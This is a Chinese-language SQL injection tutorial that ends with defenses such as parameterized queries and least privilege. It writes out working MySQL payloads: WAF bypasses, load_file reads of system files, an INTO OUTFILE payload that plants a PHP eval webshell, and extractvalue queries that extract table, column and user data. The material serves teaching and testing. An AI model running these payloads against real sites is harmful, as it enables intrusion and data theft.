帶你瞭解SQL隱碼攻擊(詳細)

2022-01-04 19:00:44
本篇文章給大家帶來了sql注入的相關知識,SQL隱碼攻擊是伺服器端未嚴格校驗使用者端傳送的資料,而導致伺服器端SQL語句被惡意修改併成功執行的行為,希望對大家有幫助。

SQL是什麼?

結構化查詢語⾔(Structured Query Language ,SQL),是⼀種特殊的程式設計語⾔,⽤於資料庫的標準資料查詢。1986 年10 ⽉美國國家標準協會對SQL 進⾏了規範後,以此作為關係型資料庫系統的標準語⾔。1987 年得到了國際標準組織的⽀持,成為了國際標準。

什麼是SQL隱碼攻擊

SQL隱碼攻擊是伺服器端未嚴格校驗使用者端傳送的資料,而導致伺服器端SQL語句被惡意修改併成功執行的行為
在這裡插入圖片描述

漏洞原理

SQL 注⼊的攻擊⾏為可以描述為通過⽤戶可控引數中注⼊SQL 語法,破壞原有SQL 結構,達到編寫程式時意料之外結果的攻擊⾏為。其成因可以歸結為以下兩個原因疊加造成的。

  • 程式設計師在處理程式和資料庫互動時,使⽤字串拼接的⽅式構造SQL 語句
  • 未對⽤戶可控引數進⾏⾜夠的過濾,便將引數內容拼接到SQL 語句中

漏洞原因

  • 使用者能夠控制輸入
  • 是對於輸入檢查不充分,導致SQL語句將使用者提交的非法資料當作語句的一部分來執行

為什麼會有SQL隱碼攻擊

  • 程式碼對帶入SQL語句的引數過濾不嚴格
  • 未啟用框架的安全設定,例如:PHP的magic_quotes_gpc
  • 未使用框架安全的查詢方法
  • 測試介面沒有刪除
  • 未啟用防火牆
  • 未使用其他的安全防護裝置

注⼊點可能存在的位置

根據SQL 注⼊漏洞的原理,⽤戶「可控引數」中注⼊SQL 與發,也就是說Web 應⽤獲取⽤戶輸⼊的地⽅,只要帶⼊資料庫查詢,都有存在SQL 注⼊的可能,這些地⽅通常包括:

  • GET 資料
  • POST 資料
  • Cookie 資料
  • HTTP 頭部(HTTP 頭部中的其他欄位)

漏洞危害

  1. 資料庫資訊洩漏、獲取、修改敏感資料:資料庫中存放的使用者的隱私資訊(帳號、密碼)的洩露
  2. 繞過登入驗證:使用萬能密碼登入網站後臺等
  3. 檔案系統操作:列目錄,讀取、寫入檔案等
  4. 網頁篡改:通過運算元據庫對特定網頁進行篡改,嵌入網馬連結,進行掛馬攻擊
  5. 登入檔操作:讀取、寫入、刪除登入檔等
  6. 執行系統命令:遠端執行命令
  7. 伺服器被遠端控制、種植木馬:駭客可以修改或控制作業系統

提交方法

提交方法有:get、post、cookie、request等
其中:request支援度較好,你把引數以get方式、post方式、cookie方式提交都是可以的

判斷注入點

會在疑似注⼊點的地⽅或者引數後⾯嘗試提交資料,從而進⾏判斷是否存在SQL 注⼊漏洞。

測試資料測試判斷攻擊思路
-1或+1是否能夠回顯上⼀個或者下⼀個頁面(判斷是否有回顯)聯合注入
'"是否顯示資料庫錯誤資訊;回顯的頁面是否不同(字元型還是數位型)報錯注入
and 1=1 或者 and 1=2回顯的頁面是否不同(判斷頁面是否有布林型別的狀態)布林盲注
and sleep(5)判斷頁面的返回時間延時注入
\判斷跳脫



注意:如果你對著一個網站測試的時候,出現404,或者頁面跳轉,說明網站有防護

判斷字元型還是數位型

如下圖,一般來說,id之類的引數後面跟的是數位型(也有可能是字元型),別的引數後面跟的是字元型
在這裡插入圖片描述

sql注入繞過

  1. 大小寫繞過
  2. 雙寫關鍵字繞過
  3. 特殊編碼繞過

如果有些字串確實被限制的很嚴格,我們可以嘗試一些編碼繞過。
如URLEncode編碼,ASCII、HEX、unicode編碼繞過:

  • or 1=1即%6f%72%20%31%3d%31,
  • Test也可以為CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
  1. 空格過濾繞過
  2. 過濾函數繞過
  • sleep() ——> benchmark()
  • substr()、substring()、mid()可以相互替換
  • user() ——> @@user() 、datadir ——> @@datadir
  • ord() ——> ascii() :這兩個函數在處理英文時效果一樣,但處理中文時效果不一樣
  • ascii ——> hex()、bin():替代之後再使用對應的進位制轉string即可
  • group_concat() ——> concat_ws()
  1. 內聯註釋繞過/*!...*/

在MySQL裡,/**/是多行註釋,這個是SQL的標準,但是MySQL擴張了解釋的功能,如果在開頭的的/*後頭加了感嘆號/*!50001sleep(3)*/,那麼此註釋裡的語句將被執行。

/*!50001 select * from test */;這裡的50001表示假如 資料庫是5.00.01以上版本,該語句才會被執行,對於有些waf我們可以通過這種方式進行繞過。

獲取網站路徑

路徑常見獲取方法:

  1. 報錯顯示

在這裡插入圖片描述

  1. 遺留檔案

別用百度,用谷歌搜尋inurl:phpinfo.php
在這裡插入圖片描述

漏洞報錯、平臺組態檔、爆破等

SQL 注入讀寫檔案

可以利用SQL 注入漏洞進行檔案讀寫。
利用的前提條件:

1. 資料庫支援檔案讀寫

這裡涉及到1個變數secure_file_priv,該引數在高版本的 mysql 資料庫中限制了檔案的匯入匯出操作。若要設定此引數,需要修改 my.ini 組態檔,並重新啟動 mysql 服務【其在Phpstudy中預設是NULL,不允許讀寫檔案】
在這裡插入圖片描述

引數含義
secure_file_priv=NULL限制mysqld 不允許匯入匯出操作
secure_file_priv=‘c:/a/’會限制mysqld 的匯入匯出操作在某個固定目錄下,並且子目錄有效
secure_file_priv=不對mysqld 的匯入匯出操作做限制

修改組態檔,對讀寫不做限制,檔案路徑C:\phpStudy\MySQL\my.ini,該操作比較敏感,需要在mysql的組態檔中操作,在phpmyadmin網頁中不能修改
在這裡插入圖片描述

在這裡插入圖片描述

2. 當前使用者具有檔案許可權

  1. 獲知當前使用者和主機名
?id=-1'union select 1,current_user(),3 --+

在這裡插入圖片描述

  1. 檢視有無許可權
?id=-1' union select 1,File_priv,3 from mysql.user where user="root" and host="localhost"--+

在這裡插入圖片描述

方法2:

select File_priv from mysql.user where user="root" and host="localhost";

在這裡插入圖片描述

3. 知道檔案絕對路徑

  1. 讀取檔案,使用 load_file

下面兩種方法一樣

?id=1' and 1=2 union select 1,load_file('c:\\windows\\system32\\drivers\\etc\\hosts'),3 --+
?id=1' and 1=2 union select 1,load_file('c:/windows/system32/drivers/etc/hosts'),3 --+

在這裡插入圖片描述

  1. 寫入檔案,使用 into_outfile

這裡需要注意,寫16進位制是直接寫,寫明文的話,需要用引號給包住

寫phpinfo,沒有報錯就說明寫入成功,可以直接存取寫入的檔案地址

# 1. 直接寫
?id=-1' union select 1,'<?php phpinfo();?>',3 into outfile 'c:\\phpstudy\\www\\hack.php'--+
# 2. 改寫成16進位制
?id=1' and 1=2 union select 1,0x3c3f70687020706870696e666f28293b3f3e,3 into outfile 'c:/phpstudy/www/hack.php' --+

在這裡插入圖片描述

在這裡插入圖片描述

寫一句話木馬

# 1. 直接寫
?id=1' and 1=2 union select 1,'<?=@eval($_REQUEST[404])?>',3 into outfile 'c:/phpstudy/www/hack1.php' --+

# 2. 改寫成16進位制
?id=1' and 1=2 union select 1,0x3c3f3d406576616c28245f524551554553545b3430345d293f3e,3 into outfile 'c:/phpstudy/www/hack1.php' --+

查詢方式及報錯盲注⭐

在進行SQL隱碼攻擊時,有很多注入會出現無回顯的情況,其中不回顯的原因可能是SQL語句查詢方式的問題導致,這個時候我們需要用到相關的報錯或盲注進行後續操作,同時作為手工注入,提前瞭解或預知其SQL語句的大概寫法也能更好的選擇對應的注入語句。

更詳細的介紹,請參見下一篇文章 《SQL隱碼攻擊的常見方式》

查詢方式

重點理解:我們可以通過下面的查詢方式和網站應用的關係、注入點產生地方、應用猜測到對方的SQL查詢方式
查詢方法舉例說明

  1. select:查詢資料在網站應用中進行資料顯示查詢操作

舉例:select * from news where id=$id

  1. insert:插入資料在網站應用中進行使用者註冊新增等操作

舉例:insert into news(id,url,text) values(2,'x','$t')

  1. delete:刪除資料後臺管理裡面刪除文章刪除使用者等操作

舉例:delete from news where id=$id

  1. update更新資料會員或後臺中心資料同步或快取等操作

舉例:update user set pwd='$p' where id=2 and username='admin'

  1. order by排序資料一般結合表名或列名進行資料排序操作

舉例:select * from news order by $id
舉例:select id,name,price from news order by $order

報錯盲注

盲注就是在注入過程中,獲取的資料不能回顯至前端頁面。此時,我們需要利用一些方法進行判斷或者嘗試。
這個過程稱之為盲注。我們可以知道盲注分為以下三類:

  1. 基於布林的SQL盲注-邏輯判斷(不回顯)
    regexp,like,ascii,left,ord,mid

  2. 基於時間的SQ盲注-延時判斷(不回顯)
    if,sleep

  3. 基於報錯的SQL盲注-(強制)報錯回顯
    floor,updatexml,extractvalue

報錯模板:https://www.jianshu.com/p/bc35f8dd4f7c

報錯注入函數

  1. floor()
  • floor(x),返回小於或等於x的最大整數。
  • payload:select conut(*),(concat(database(),rand(0)*2))x from infromation_schema.tables group by x;
  • x表示concat(database(),rand(0)*2),rand(0)以0為隨機種子產生0-1之間的亂數,*2產生0-2之間的亂數。
  • 報錯原因:主鍵重複,必需:count()、rand()、group by
  • 分析連結:https://xz.aliyun.com/t/253#toc-2
  1. exp()
  • exp(x)返回e^x。
  • 當x的值足夠大的時候就會導致函數的結果資料型別溢位,也就會因此報錯
  • payload:id =1 and EXP(~(SELECT * from(select user())a))
  1. updatexml()

利用的就是mysql函數引數格式錯誤進行報錯注入。

updatexml()函數語法:updatexml(XML_document,Xpath_string,new_value);

  • 函數語法解析:
  • XML_document:是字串String格式,為XML檔案物件名稱
  • Xpath_string:Xpath格式的字串
  • new_value:string格式,替換查詢到的符合條件的資料

適用版本是:5.1.5+

利用方式:在執行兩個函數時,如果出現xml檔案路徑錯誤,就會產生報錯 那麼我們就需要構造Xpath_string格式錯誤,也就是我們將Xpath_string的值傳遞成不符合格式的引數,mysql就會報錯

  1. extractvalue()

利用的原理是xpath格式不符報錯注入。

函數語法:extractvalue(XML_document,XPath_string)
適用的版本:5.1.5+

1. 獲取當前是資料庫名稱及使用mysql資料庫的版本資訊:
and extractvalue(1,concat(0x7e,database(),0x7e,version(),0x7e))

2. 獲取當前注入點的使用者許可權資訊及作業系統版本資訊:
and extractvalue(1,concat(0x7e,@@version_compile_os,0x7e,user(),0x7e))

3. 獲取當前位置所用資料庫的位置:
and extractvalue(1,concat(0x7e,@@datadir,0x7e))

4. 獲取資料表資訊:
and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))

5. 獲取users資料表的列名資訊:
and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e))

6. 獲取對應的列名的資訊(username\password):
and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e))

二次注入

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片儲存下來直接上傳(img-XqImDdcp-1633789900474)(https://cdn.nlark.com/yuque/0/2021/svg/2356679/1631024481806-0dd9a2f2-2a04-4a1e-98ed-dd7701f1852b.svg#clientId=u7f37b442-dbf3-4&from=paste&id=uc5dfb726&margin=%5Bobject%20Object%5D&originHeight=440&originWidth=781&originalType=url&ratio=1&status=done&style=none&taskId=u678ac010-ad2f-484a-afd7-1efd25fb423)]

二次注入漏洞是一種在Web應用程式中廣泛存在的安全漏洞形式。相對於一次注入漏洞而言,二次注入漏洞更難以被發現,但是它卻具有與一次注入攻擊漏洞相同的攻擊威力。

原理

二次注入的原理:在第一次進行資料庫插入資料的時候,僅僅只是使用了 addslashes 或者是藉助 get_magic_quotes_gpc 對其中的特殊字元進行了跳脫,但是addslashes有一個特點就是雖然引數在過濾後會新增\進行跳脫,但是\並不會插入到資料庫中,在寫入資料庫的時候還是保留了原來的資料。

在將資料存入到了資料庫中之後,開發者就認為資料是可信的。在下一次進行需要進行查詢的時候,直接從資料庫中取出了髒資料,沒有進行進一步的檢驗和處理,這樣就會造成SQL的二次注入。比如在第一次插入資料的時候,資料中帶有單引號,直接插入到了資料庫中;然後在下一次使用中在拼湊的過程中,就形成了二次注入。

實施步驟

  1. 插入惡意資料

第一次進行資料庫插入資料的時候,僅僅對其中的特殊字元進行了跳脫,在寫入資料庫的時候還是保留了原來的資料,但是資料本身包含惡意內容

  1. 參照惡意資料

在這裡插入圖片描述

舉例

這裡使用的是sql-libs靶場的第24關

  1. 首先看一下最開始的時候,靶機的資料庫是什麼樣子的,這裡以其中的使用者dhakkan來演示

在這裡插入圖片描述

  1. 註冊一個新使用者

在這裡插入圖片描述

  1. 註冊了一個新使用者之後的資料庫如下
    在這裡插入圖片描述

  2. 新使用者登入,並重置密碼

  3. 檢視資料庫,有意思的事情發生了,dhakkan的密碼改變了,但是新使用者的密碼沒有改變

在這裡插入圖片描述

  1. 在第24關的原始碼中,可以看到原因,如下圖

在這裡插入圖片描述

堆疊查詢

堆疊注入(Stacked injections),從名詞的含義就可以看到應該是一堆sql語句(多條)一起執行。而在真實的運用中也是這樣的,我們知道在mysql中,主要是命令列中,每一條語句結尾加 ; 表示語句結束。這樣我們就想到了是不是可以多句一起使用。於是出現了堆疊注入(又稱堆疊查詢)
在這裡插入圖片描述

注意事項:
堆疊注入的使用條件十分有限,其可能受到API或者資料庫引擎,又或者許可權的限制只有當呼叫資料庫函數支援執行多條sql語句時才能夠使用,利用mysqli_multi_query()函數就支援多條sql語句同時執行,但實際情況中,如PHP為了防止sql注入機制,往往使用呼叫資料庫的函數是mysqli_ query()函數,其只能執行一條語句,分號後面的內容將不會被執行,所以可以說堆疊注入的使用條件十分有限,一旦能夠被使用,將可能對網站造成十分大的威脅

DNSlog

DNSlog 就是儲存在 DNS Server 上的域名資訊,它記錄著使用者對域名 www.baidu.com 等的存取資訊,類似紀錄檔檔案。更多操作參見淺析DNSlog在滲透測試中的實戰技巧

腦圖

在這裡插入圖片描述

常見資料庫,及注入相關⭐

MySQL、SQLServer、Oracle、PostgreSQL、Access五種資料庫應該是目前市面上最流行的資料庫了。我們進行滲透測試,碰到最多的也是這幾種資料庫。本文就這幾種資料庫在注入時的相同點和不同的做一下統計。

註釋符、資料庫埠


MySQLSQLServerOraclePostgreSQLAccess
單行註釋#------
多行註釋/**//**//**//**/
資料庫埠3306143315215432屬於檔案型資料庫,所以不需要埠號

資料庫檔案字尾名

  • MySQL:資料檔案:.myd 、索引檔案:.MYI 、表定義檔案:.frm
  • SQLServer:.mdf
  • Oracle:.dbf.ora
  • PostgreSQL:無字尾名
  • Access:Office 2007之前是 .mdb ,Office 2007及之後是.accdb

特有的資料庫

  • MySQL: information_schema(Mysql5.0以上的版本)
  • SQLServer:sysobjects
  • Oracle:dual
  • PostgreSQL:
  • Access:msysobjects

檢視當前使用者或許可權

  1. MySQL
查詢當前使用者
select user();
select substring_index(user(), '@', 1) ;
查詢當前使用者的許可權
select * from mysql.user where user = substring_index(user(), '@', 1) ;

在這裡插入圖片描述
在這裡插入圖片描述

  1. SQLServer
判斷是否是SA許可權select is_srvrolemember('sysadmin')     判斷是否是db_owner許可權  
select is_member('db_owner')判斷是否是public許可權select is_srvrolemember('public')

在這裡插入圖片描述

  1. Oracle
檢視當前使用者select * from user_users;檢視當前使用者擁有的角色     
select * from session_roles;檢視當前使用者擁有的許可權select * from session_privs;

在這裡插入圖片描述

  1. PostgreSQL
select user                       #檢視使用者select current_user               #檢視當前使用者

在這裡插入圖片描述
在這裡插入圖片描述

  1. ACCESS

Access資料庫是檔案型別資料庫,沒有使用者和許可權的概念

ASCII轉換函數

  1. MySQL:select char(97)

在這裡插入圖片描述

  1. SQLServer:select char(97)
    在這裡插入圖片描述

  2. Oracle:select chr(97) from dual

在這裡插入圖片描述

  1. **PostgreSQL:select chr(97) **

在這裡插入圖片描述

  1. **Access:select chr(97) **

select chr(97)&chr(100)&chr(109)&chr(105)&chr(110)

不同資料庫注入結果的區別⭐

  1. mssql

在這裡插入圖片描述

  1. MySQL

在這裡插入圖片描述

  1. oracle

在這裡插入圖片描述

Sql注入中連線字串常用函數

在select資料時,我們往往需要將資料進行連線後進行回顯。很多的時候想將多個資料或者多行資料進行輸出的時候,需要使用字串連線函數。在sqli中,常見的字串連線函數有concat()group_concat()concat_ws()
本篇詳細講解以上三個函數。同時此處用mysql進行說明,其他型別資料庫請自行進行檢測。

concat()函數

不使用字串連線函數時:
在這裡插入圖片描述

但是這裡存在的一個問題是,當使用union聯合注入時,我們都知道,聯合注入要求前後兩個選擇的列數要相同,這裡id,username是兩個列,當我們要一個列的時候,(當然不排除你先爆出id,再爆出username,分兩次的做法)該怎麼辦?答案就是concat()

concat()語法及使用特點:CONCAT(str1,str2,…)
返回結果為連線引數產生的字串。如有任何一個引數為NULL ,則返回值為 NULL。可以有一個或多個引數。
範例如下:
在這裡插入圖片描述

在這裡插入圖片描述

concat_ws 函數

使用方法:CONCAT_WS(separator,str1,str2,...)

CONCAT_WS()代表 CONCAT With Separator ,是CONCAT()的特殊形式。第一個引數是其它引數的分隔符。分隔符的位置放在要連線的兩個字串之間。分隔符可以是一個字串,也可以是其它引數。

注意:如果分隔符為 NULL,則結果為 NULL。函數會忽略任何分隔符引數後的 NULL 值。
這裡以逗號分隔符為例,演示一下
在這裡插入圖片描述

group_concat 函數

基本查詢

mysql> select * from aa;
+------+------+
| id| name |
+------+------+
|1 | 10|
|1 | 20|
|1 | 20|
|2 | 20|
|3 | 200   |
|3 | 500   |
+------+------+
6 rows in set (0.00 sec)

以id分組,把name欄位的值列印在一行,逗號分隔(預設)

mysql> select id,group_concat(name) from aa group by id;
+------+--------------------+
| id| group_concat(name) |
+------+--------------------+
|1 | 10,20,20|
|2 | 20 |
|3 | 200,500|
+------+--------------------+
3 rows in set (0.00 sec)

以id分組,把name欄位的值列印在一行,分號分隔

mysql> select id,group_concat(name separator ';') from aa group by id;
+------+----------------------------------+
| id| group_concat(name separator ';') |
+------+----------------------------------+
|1 | 10;20;20 |
|2 | 20|
|3 | 200;500   |
+------+----------------------------------+
3 rows in set (0.00 sec)

以id分組,把去冗餘的name欄位的值列印在一行,
逗號分隔

mysql> select id,group_concat(distinct name) from aa group by id;
+------+-----------------------------+
| id| group_concat(distinct name) |
+------+-----------------------------+
|1 | 10,20|
|2 | 20   |
|3 | 200,500 |
+------+-----------------------------+
3 rows in set (0.00 sec)

以id分組,把name欄位的值列印在一行,逗號分隔,以name排倒序

mysql> select id,group_concat(name order by name desc) from aa group by id;
+------+---------------------------------------+
| id| group_concat(name order by name desc) |
+------+---------------------------------------+
|1 | 20,20,10   |
|2 | 20|
|3 | 500,200|
+------+---------------------------------------+
3 rows in set (0.00 sec)

補充知識—資料庫結構

資料庫結構:資料庫 —> 表名 —> 列名 —> 資料
演示如下:

  1. 檢視MySQL資料庫中,包含了哪些資料庫

show database;
在這裡插入圖片描述

  1. 檢視資料庫中有哪些表
use dvwa;	# 選中dvwa資料庫
show tables;	# 檢視dvwa資料庫中有哪些表

在這裡插入圖片描述

  1. 查詢表中的內容
    1. 檢視user表中的全部內容:select * from user;
    2. 以列的形式檢視user表中的全部內容:select *from user\G;
    3. 檢視表中的部分內容:select user,password from user;

在這裡插入圖片描述

在這裡插入圖片描述

補充知識—關於SQL的一些常識

註釋

減減空格"-- ""–%20"「–+」
#「#」"%23"




內聯註釋/* 被註釋掉的內容 */









資料庫中,符號.代表下一級,如dvwa.user表示dvwa資料庫下的user表

常用語句和函數

推薦閱讀:SQL隱碼攻擊必備知識初級
1:mysql -uroot -proot登入資料庫
2:show databases; 檢視有哪些資料庫
3:use informatin_schema; 使用某資料庫
4:limit的用法

  • limit的使用格式是limit m,n
  • 其中m是指記錄開始的位置,從0開始表示第一條記錄
  • n是指提取n條記錄

5:select 函數名; 查詢某內容
函數名有以下:
在這裡插入圖片描述

防禦措施

防禦SQL隱碼攻擊的核心思想是對使用者輸入的資料進行嚴格的檢查,並且對資料庫的使用採用最小許可權分配原則。目前SQL隱碼攻擊的防禦手段有以下幾種:

程式碼層

  1. 內建過濾系統(本質是黑名單,很常見但是不推薦)
  2. 採用引數化查詢&預編譯(推薦)

強迫使用引數化語句。引數化的語句使用引數而不是將使用者輸入變數嵌入到SQL語句中。採用這種措施,可以杜絕大部分的SQL隱碼攻擊式攻擊
在這裡插入圖片描述

  1. 採用框架的安全寫法

例如Mybatis中使用#可以防止SQL隱碼攻擊,$並不能防止SQL隱碼攻擊
thinkphp使用陣列方式將自動使用框架自帶的欄位型別檢測防止注入、PDO驅動引數繫結、預處理等

Thinkphp框架的安全寫法

安全的替換寫法
$data=M('Member')->where(array('id'=>$_GET['id']))->find();//使用陣列方式將自動使用框架自帶的欄位型別檢測防止注入
$data=M('Member')->where(array('id'=>(int)$_GET['id']))->find();//型別約束
$data=M('Member')->where('id='.intval($_GET['id']))->find();//型別轉換
$data=M('Member')->where(array('id'=>I('get.id','','intval')))->find();//$data=M('Member')- >where(array('id'=>':id'))->bind(':id',I('get.id'))->select();//PDO驅動可以使用引數繫結
$data=M('Member')->where("id=%d",array($_GET['id']))->find();//預處理機制       

//不安全的寫法舉例
$_GET['id']=8;//希望得到的是正整數
$data=M()->query('SELECT * FROM `member` WHERE  id='.$_GET['id']);//執行的SQL語句
$_GET['id']='8  UNION SELECT * FROM `member`';;//隱患:構造畸形語句進行注入;

資料庫加固

主要包括:

  1. 最小許可權原則,禁止將任何高許可權帳戶(例如sa、dba、root等)用於應用程式資料庫存取。更安全的方法是單獨為應用建立有限存取帳戶。
  2. 禁用敏感函數拒絕使用者存取敏感的系統儲存過程,如xp_dirtree、xp_cmdshell、into_outfile 等
  3. 網站與資料層的編碼統一,建議全部使用UTF-8編碼,避免因上下層編碼不一致導致一些過濾模型被繞過,比如寬位元組注入等。
  4. 限制使用者所能夠存取的資料庫表

其他

例如,避免網站顯示SQL執行出錯資訊,防止攻擊者使用基於錯誤的方式進行注入;每個資料層編碼統一,防止過濾模型被繞過等。使用WAF。

相關推薦:《mysql教學

以上就是帶你瞭解SQL隱碼攻擊(詳細)的詳細內容,更多請關注TW511.COM其它相關文章!